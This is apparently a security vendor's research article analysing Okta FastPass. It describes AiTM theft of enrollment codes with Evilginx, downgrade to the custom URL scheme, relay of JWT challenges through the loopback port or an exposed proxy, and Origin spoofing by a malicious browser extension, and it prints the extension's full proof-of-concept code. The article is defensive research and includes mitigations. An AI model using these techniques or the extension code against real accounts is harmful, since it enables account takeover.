May 5, 2025

Behind the Shield: Cracking the Limits of Okta FastPass

Fenix Qiao and Shuyang Wang

Key Takeaways:
  • Okta FastPass is a strong step forward in phishing-resistant authentication, but it is not foolproof.
  • The enrollment phase is an ideal place for an attacker to strike - intercepting authorization codes and using them to bind their own device to the user's account.
  • If “Phishing-Resistant” isn’t strictly enforced in the policy, fallback flows may enable authentication downgrade and expose users to AiTM attacks.
  • Authentication requests can be relayed via Loopback Server or Custom URL Scheme.
  • Malicious browser extensions can manipulate headers, breaking the origin-based trust model FastPass relies on.

In recent years, phishing attacks have become a major threat to organizations, with adversary-in-the-middle (AiTM) phishing especially prevalent as it can bypass MFA. In our previous article, Demystifying Okta AiTM, we demonstrated how Okta users relying on one-time passcodes (OTP) are vulnerable to this attack.

However, phishing-resistant MFA solutions like Okta FastPass are designed to block these attempts. But how? What makes FastPass different, and how does it actually detect and prevent phishing? In this article, we’ll take a deep dive into the technology behind FastPass, examine its security mechanisms, and analyze its potential weaknesses.

What is Okta Verify and FastPass?

Okta Verify is a multi-factor authentication (MFA) app. Similar to Google Authenticator, it supports time-based one-time passwords (TOTP). However, it goes beyond traditional authenticator apps by offering additional authentication methods, including push notifications and FastPass, a device-bound authentication method that enables phishing-resistant, passwordless login.

Okta has a FastPass white paper that explains its workings in detail. While you can refer to the white paper for more, from a high level, it includes two key steps: 1) device enrollment and 2) sign-in challenge.

Device Enrollment

FastPass is device-bound. To enable FastPass on a new device, users must go through an enrollment process. The diagram below illustrates the workflow of this process:

image.png

  1. Install Okta Verify on a supported device (Windows, macOS, iOS, or Android).
  2. Add a new account, enter the organization’s URL, and get redirected to a browser to complete OAuth authorization. Okta Verify will listen on localhost:65112 for the authentication result.
  3. The user logs in with their username, password, and existing MFA. Upon success, the Okta server redirects the user to http://localhost:65112/?code=<code>&state=<state>. Okta Verify captures this code, redeems an access token.
  4. Then, two key pairs are generated on the user’s device:
    • Proof of Possession key pair
    • User Verification key pair (optional), which requires user interaction before it can be used for signing.
  5. The public keys are sent to the Okta server, and the device is linked to the user. Once enrolled, the user can sign in with FastPass, either for passwordless login or as an additional MFA factor.

AiTM Attack on Enrollment

Now that we understand the enrollment process, as a security researcher, my first thought is: Could it be vulnerable?

The communication between Okta Verify and the Okta server is secured with SSL pinning, which prevents AiTM attacks. However, when we add a new account, authentication isn’t handled within the app but instead redirects the user to the browser.

The login request URL looks like this:

https://dev-49281249.okta.com/oauth2/v1/authorize?nonce=B1glaFWOrYrdWaLmG3Oa4eyKqko0D2X-s7RVtGNCZLU&response_type=code&code_challenge_method=S256&scope=openid%20profile%20okta.authenticators.read%20okta.authenticators.manage.self&code_challenge=0gmvTpGvC9R71ibJN3sSEeA138y9mzKZQ8HCDwsKFkE&redirect_uri=http://localhost:65112/&client_id=okta.63c081db-1f13-5084-882f-e79e1e5e2da7&state=4Oy8cUr84pRnZYPT8SFMrI0jwlcV_HxpnijPKhgj8Os.

Upon success, the user is redirected to: http://localhost:65112/?code=<code>&state=<state>.

Attack Scenario

Now, suppose an attacker sends the login link to a victim, tricking them into logging in. If the attacker obtains the authorization code, they can bind their own device to the victim’s account. With Sign in with FastPass, this grants persistent access, leading to a full account takeover.

But of course, it’s not that simple, life isn’t that easy! Simply modifying the redirect_uri results in an error:"The 'redirect_uri' parameter must be a Login redirect URI in the client app settings."

As David Wheeler put it, ’All problems in computer science can be solved by another level of indirection.’ Since the redirect_uri can’t be changed, stealing the code directly is off the table. But if an AiTM proxy sits between the user and the Okta server during login, the attacker can easily capture the authorization code.

Below is a diagram illustrating the attack.

  1. Attackers add an account to their own Okta Verify and capture the redirected login request URL.
  2. Configure Evilginx to proxy the login request.
  3. Send the phishing link to the victim.
  4. Once the victim logs in successfully, the attacker extracts the authorization code from Evilginx and uses it to link their own device to the victim’s account.
image.png

Below is a demo video showing the attack. After the victim logs in via the phishing link, the attacker extracts the token from Evilginx and binds the victim’s account to a threat actor controlled Okta Verify.

This attack is highly dangerous, as AiTM phishing allows attackers to steal the victim’s username and password, then register their own device as an MFA factor (FastPass), leading to full account takeover.

Mitigation Suggestions

For Users
  • Stay vigilant for AiTM phishing – Always verify the domain before entering credentials, and be especially cautious when seeing the “Sign in with your account to access Okta Authenticator” page, which is used for authenticator enrollment.
  • Check your Okta Verify devices – Regularly review enrolled devices and remove any unrecognized ones.

For Administrators
  • Enforce phishing-resistant authentication for enrollment – Require an existing FIDO2 (WebAuthn) or Okta FastPass authenticator before allowing new authenticator enrollments.
    • Enable this in Admin Console → Settings → Require phishing-resistant authenticator to enroll additional authenticators (Early Access feature).
  • Restrict authenticator enrollment by network location – Use enrollment policy rules to deny authenticator registration from IPs not in specified Network Zones.
    • Configure this in Admin Console → Security → Authenticators → Enrollment → Add Rule → User’s IP is not in zone → Deny enrollment of all authenticators.

FastPass Sign-In Flow

The concept behind FastPass is simple, it relies on public-key cryptography. The process works as follows:

  1. When authentication is initiated, the browser requests a JWT challenge from the Okta server.
  2. The browser forwards the challenge to Okta Verify, which validates the request and signs it using the private key stored on the device. Meanwhile, the browser polls the Okta server for the authentication status.
  3. The signed response is sent back to the Okta server, where it is verified using the public key.
image.png

Below is the JWT challenge after decoding.

{
  "iss": "https://dev-49281249.okta.com",
  "aud": "okta.63c081db-1f13-5084-882f-e79e1e5e2da7",
  "exp": 1741900953,
  "iat": 1741900653,
  "jti": "ftMcFJCy_g2cVtk87oHePeNYHKNnUhrwBm",
  "nonce": "DUNPLclZnvllHtGaxk8D",
  "transactionId": "ftMcFJCy_g2cVtk87oHePeNYHKNnUhrwBm",
  "signals": [
    "id",
    "displayName",
    "platform",
    "manufacturer",
    "model",
    "osVersion",
    "serialNumber",
    "udid",
    "sid",
    "imei",
    "meid",
    "tpmPublicKeyHash",
    "secureHardwarePresent",
    "deviceAttestation",
    "deviceIntegrity",
    "screenLockType",
    "diskEncryptionType",
    "clientInstanceBundleId",
    "clientInstanceDeviceSdkVersion",
    "clientInstanceId",
    "clientInstanceVersion"
  ],
  "verificationUri": "https://dev-49281249.okta.com/idp/authenticators/autnj6gd5vBoV3v285d7/transactions/ftMcFJCy_g2cVtk87oHePeNYHKNnUhrwBm/verify",
  "mdmAttestationIssuers": [],
  "keyTypes": [
    "proofOfPossession"
  ],
  "orgId": "00onj5i355XMMJgrr5d7",
  "appInstanceName": "Okta Dashboard",
  "method": "signed_nonce",
  "requestReferrer": "https://dev-49281249.okta.com",
  "userMediation": "OPTIONAL",
  "userVerification": "NONE",
  "ver": 0
}

Notably, the keyTypes field specifies which key pair should be used for signing. This is tied to the app’s authentication policies. If user interaction is required, the User Verification key pair will be used.

image.png

From a security researcher’s perspective, this Sign-In Flow raises two important questions:

  1. How does it detect and prevent phishing attacks?
  2. Are there security gaps, could an attacker relay the JWT challenge to the victim’s Okta Verify for signing?

Let’s first take a look at how the browser forwards the JWT challenge to Okta Verify. There are two methods: Loopback and Custom URL Scheme.

Loopback

When Okta Verify starts, it launches an HTTP service on 127.0.0.1:8769. As the browser retrieves the JWT challenge, it also receives the configuration for this local service. The browser then forwards the challenge to Okta Verify by sending a CORS request.

The Access-Control-Allow-Origin header in this Loopback Service is dynamically configured. If a request includes an Origin header, the response echoes the same origin. If no Origin is present, the header is set to *.

image.png

The diagram below illustrates how Loopback works. Since it requires no user interaction and provides the best user experience, FastPass always attempts to use it first.

image.png

Custom URL Scheme

A Custom URL Scheme allows apps to register their own protocols (e.g., com-okta-authenticator:/), enabling the system to launch the app and deliver data when a matching URL is opened.

This method allows the browser to pass the JWT challenge to Okta Verify. If Loopback fails, FastPass falls back to this method, but it requires user interaction, prompting the user to confirm opening Okta Verify.

image.png

How FastPass Blocks Phishing

Now that we understand how FastPass works, it uses two methods to pass the JWT challenge to Okta Verify. But how does it detect if a user is coming from a phishing site?

Detection Mechanism

The answer lies in the Loopback method. When the browser forwards the JWT challenge via Loopback, it includes an Origin header, following CORS standard, which reveals where the request originated. Okta Verify captures this origin and sends it to the Okta server, allowing it to identify and block authentication attempts from phishing sites.

image.png

In contrast, Custom URL Scheme lacks origin tracking. Since it only passes along the URL without additional context like Origin header or other metadata, it becomes challenging to validate the source of the request.

Security Downgrade via Misconfiguration

FastPass relies entirely on the Loopback Server to detect and prevent phishing attacks. Through testing, we made an interesting discovery: even if Phishing-Resistant is not explicitly selected in the authentication policy, FastPass still detects and blocks phishing attempts. This happens because, by default, the browser communicates with the Loopback Server, which has built-in phishing detection as described above.

However, two scenarios can lead to a security downgrade: in both cases, the browser fails to communicate with the Loopback Server and falls back to a less secure URL scheme, which disables phishing detection and exposes users to AiTM attacks.

  1. Port 8769 is occupied, causing the Loopback Server to fail silently.
    • At startup, Okta Verify attempts to listen only on port 8769. If this port is already in use, it fails to bind but does not display an error or attempt alternative ports.
    • During authentication, the browser attempts to reach the Loopback Server by sequentially trying a list of ports, such as ["8769", "65111", "65121", "65131", "65141", "65151"]. If the actual server is not running (due to a port conflict and no fallback to other ports), all attempts fail silently.
  1. AiTM attack modifying the configuration response:
    • In an AiTM attack, an attacker can manipulate the Loopback Server address in the response from the Okta server, such as by changing 127.0.0.1 to 0.0.0.0.

Below is an AiTM attack demonstration targeting the Okta Admin Console. In our developer instance, Phishing-Resistant is disabled by default.

To work around this, we can enforce Phishing-Resistant in the authentication policy for all apps, so the browser must communicate with the Loopback Server to complete authentication.

FastPass Relay Attack

Now that we have a solid understanding of how FastPass works, it’s time to explore potential exploits. Let’s think about this: could an attacker relay the JWT challenge to the victim’s Okta Verify for signing?

The answer is yes, and there are multiple ways it can be maliciously exploited.

Relay via Loopback

An unprotected port is dangerous, even if it’s only exposed on 127.0.0.1.

  1. Any local application can access this port and relay the JWT challenge. Malware could even forward it to a remote server, effectively hijacking Okta Verify for their own use. One might ask, if malware is already on the system, why exploit this port? The answer is simple: it requires no special permissions and avoids sensitive operations, making it harder for antivirus solutions to detect.
  2. If the victim has an HTTP or SOCKS proxy listening on 0.0.0.0, a network-accessible attacker could leverage it to route traffic to the Loopback Server. Of course, a vulnerable local service with an SSRF flaw could serve the same purpose. An attacker simply needs an entry point to exploit.

Let’s look at an example. Suppose the victim has Okta Verify installed along with Burp Suite, with Burp configured to listen on 0.0.0.0:8080. As a security researcher, I often do this when proxying mobile app and virtual machine traffic for analysis.

Now, if there’s a bad actor on the same network, they could leverage this Burp Suite proxy to authenticate into the victim’s Okta account.

image.png

The diagram below illustrates how an attacker can exploit an exposed proxy.

image.png

Here’s a demonstration video. In our test environment, the Okta dashboard is set up for passwordless login with FastPass, with user interaction not enabled. The victim remains completely unaware. If user interaction were enabled, the victim would receive a login prompt and need to unlock the User Verification key pair to sign.

Relay via Custom URL

Relay the JWT challenge via a Custom URL Scheme is a simpler and more direct approach. An attacker can embed the URL com-okta-authenticator://deviceChallenge?challengeRequest=eyJ... into a webpage and send it to the victim, tricking them into clicking it. This attack can also be combined with open redirects, XSS, or other web-based exploits to increase its effectiveness.

This is not a unique problem to Okta FastPass — similar issues have been observed in other ecosystems:

  • BankID was found vulnerable to similar abuses via URL schemes.
  • A recently disclosed issue in Chromium (Issue 370482421) demonstrated that the fido:/ custom URL scheme could be abused in phishing attacks. In response, Chrome has disabled support for this URL scheme entirely to mitigate the risk.

Because of these risks, it’s strongly recommended to enforce phishing-resistant authentication property in your Okta policies. This ensures that FastPass uses the Loopback Server flow, which provides a more secure channel for challenge delivery. Additionally, enabling “Require user interaction” adds another layer of protection — even if an attacker somehow relays the challenge through the Loopback, the victim will be prompted to take action, increasing the chance of detecting and aborting the attack.

Spoofing Origin via Extensions

Still reading? Great. This is the final part.

Where It Begins

The Origin header plays a critical role in FastPass’s phishing-resistant trust model. This led me to wonder: is it possible to spoof the Origin header in a browser environment?

Under normal circumstances, the browser enforces strict security restrictions around the Origin header, and it cannot be arbitrarily modified by web content. Spoofing the Origin header is generally not feasible unless there’s a zero-day vulnerability in the browser.

However, there’s one notable exception in the browser ecosystem: extensions. When granted specific permissions, they can intercept and modify both requests and responses — significantly expanding the potential attack surface.

Let’s look at the permissions behind this behavior.

Extension Permissions

In Chrome Manifest V2, the webRequestBlocking permission allowed extensions to intercept and modify network requests in real time. Due to its powerful capabilities, it was considered highly sensitive.

Manifest V2 is being deprecated and phased out by Chrome — extensions must now migrate to Manifest V3.

With Manifest V3, Chrome introduced significant improvements in security, privacy, and performance. As a result, the powerful webRequestBlocking permission is no longer available to most extensions. Instead, developers are encouraged to use the declarativeNetRequest API, which offers a more restrictive, rule-based approach.

According to the documentation, using this API involves the following permissions:

To use this API, an extension must request the "declarativeNetRequest" or "declarativeNetRequestWithHostAccess" permission in its manifest.json file. The "declarativeNetRequest" permission is shown to users in permission prompts, the "declarativeNetRequestWithHostAccess" is not.
The "declarativeNetRequest" permission allows extensions to block and upgrade requests without any host permissions. Host permissions are required if the extension wants to redirect requests or modify headers on requests or when the "declarativeNetRequestWithHostAccess" permission is used instead of the "declarativeNetRequest" permission. To act on requests in these cases, host permissions are required for the request URL.

To intercept and modify the Origin header in requests to a FastPass Loopback Server, an extension would need either the declarativeNetRequest or declarativeNetRequestWithHostAccess permission, along with a host_permission for http://127.0.0.1/*.

Notably, according to Counting Chrome Extensions – Chrome Web Store Statistics, around 30–40% of Chrome extensions request the webRequestBlocking permission — indicating that request interception and modification are common and widely accepted behaviors within the extension ecosystem. In addition, over 50–60% of extensions request access to <all_urls>.

(The image below is taken from the referenced article.)

image.png

Attack Scenario

With the necessary permissions in place, a malicious extension could manipulate the request headers of sites listed in its host_permissions, including the Origin header, and undermine a core trust assumption in FastPass’s security model.

Relay via Extensions

The extension can act as a relay by running malicious code in its background script to forward FastPass JWT challenge requests. This effectively turns the extension into a man-in-the-browser channel, breaking the origin-based trust model that FastPass relies on.

One notable trick is that explicitly requesting access to 127.0.0.1 may raise suspicion. A more subtle approach is to reuse an existing host_permissions by manipulating DNS to resolve a permitted domain to 127.0.0.1.

To demonstrate the attack, below is a simplified extension PoC.

manifest.json

{
  "manifest_version": 3,
  "name": "Spoofing Origin via Extensions PoC",
  "version": "1.0",
  "description": "",
  "permissions": [
    "declarativeNetRequestWithHostAccess"
  ],
  "host_permissions": [
    "*://*.pocs.cc/*"
  ],
  "action": {
    "default_title": "PoC"
  },
  "background": {
    "service_worker": "background.js"
  },
  "declarative_net_request": {
    "rule_resources": [
      {
        "id": "ruleset_1",
        "enabled":
true,
        "path": "rules.json"
      }
    ]
  }
}

rules.json

[
  {
    "id": 1,
    "priority": 1,
    "action": {
      "type": "modifyHeaders",

      "requestHeaders": [
        {
          "header": "Origin",
          "operation": "set",
          "value": "https://dev-49281249.okta.com"
        },
        {
          "header": "Host",
          "operation": "set",
          "value": "127.0.0.1:8769"
        }
      ],
      "responseHeaders": [
        {
          "header": "Access-Control-Allow-Origin",
          "operation": "set",
          "value": "*"
        }
      ]
    },
    "condition": {
      "urlFilter": ":8769",
      "resourceTypes": ["xmlhttprequest"]
    }
  }
]

background.js

function sendChallengeRequest() {
  fetch("http://lo.pocs.cc:8769/challenge", {
    method: "POST",
    headers: {
      "Content-Type": "application/json",
      "Accept": "*/*",
      "Accept-Language": "en-US,en;q=0.5",
      "Accept-Encoding": "gzip, deflate, br, zstd",
      "Connection": "keep-alive",
      "Sec-Fetch-Dest": "empty",
      "Sec-Fetch-Mode": "cors",
      "Sec-Fetch-Site": "cross-site"
    },
    body: JSON.stringify({
      challengeRequest: "eyJraWQiOiJid1..."
    })
  })
  .then(res
=> res.text())
  .then(text
=> console.log("Challenge sent:", text))
  .catch(err
=> console.error("Challenge error:", err));
}

sendChallengeRequest();

CORS Without Limits

By spoofing both the Origin request header and the Access-Control-Allow-Origin response header, a malicious extension can enable any site within its host_permissions to communicate with the Loopback Server and complete the FastPass authentication flow.

Now imagine if the extension has <all_urls> in its host_permissions, this dramatically expands the attack surface and effectively brings AiTM (Adversary-in-the-Middle) attacks back into play.

Conclusion

FastPass is a strong step forward in phishing-resistant authentication, leveraging public-key cryptography and device binding to secure user logins. However, it is not entirely foolproof, and organizations must be aware of potential weaknesses, such as:

  • AiTM risks during the enrollment phase.
  • Security downgrade attacks that could enable AiTM phishing if phishing resistance is not explicitly enforced.
  • Unprotected local ports that attackers could exploit via proxies or malicious apps.
  • Attackers leveraging custom URL to forward JWT challenges.
  • Misconfigurations that may weaken security effectiveness.
  • Browser extensions with specific permissions that may be abused to bypass origin-based protections.

Get Started

Start in minutes and secure your critical SaaS applications with continuous monitoring and data-driven insights.

get a demo